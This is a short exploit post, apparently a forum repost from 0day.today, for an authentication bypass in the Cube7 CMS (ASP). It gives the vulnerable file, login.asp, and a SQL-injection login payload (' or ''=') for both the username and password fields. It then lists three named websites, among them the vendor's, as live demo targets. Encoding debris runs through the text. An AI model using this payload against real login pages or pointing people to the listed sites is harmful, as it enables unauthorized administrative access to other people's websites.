Cube7 CMS Authentication Bypass Vulnerability

|^KahiN^| · 15 Kas 2017

Cube7 CMS Authentication Bypass Vulnerability

PHP:

Cube7 CMS Authentication Bypass Vulnerability

 Â  Â  Â  Software : Cube7 Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  
 Â  Â  Â  Date Â  Â  : 8/18/2012 Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  
 Â  Â  Â  Vendor Â  : http://www.hedion.nl/default.asp?node=188&Cube7-CMS Â  Â  Â  Â  Â  Â  
 Â  Â  Â  Language : ASP 
 Â  Â  Â  Author Â  : ITTIHACK Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â 
 Â  Â  Â  Home Â  Â  : http://ittihack.com Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â 
 Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  
 Â  Â 
 Â  Â  Â  Vulnerable File: Â login.asp
	 Â  
	 Â  Exploit:
	 Â  http://target/admin/login.asp
	 Â  Username:user: 'or''='
	 Â  Password:pass: 'or''='
	 Â  
	 Â  Demo Â  :
	 Â  http://www.hedion.nl/admin/login.asp Â  Â  Â <-- Software Developer
 Â  Â  Â  http://www.dinther.nl/admin/login.asp 
	 Â  http://www.vandinther.net/admin/login.asp



# Â 0day.today [2017-11-15] Â #

Cube7 CMS Authentication Bypass Vulnerability

|^KahiN^|

|^KahiN^|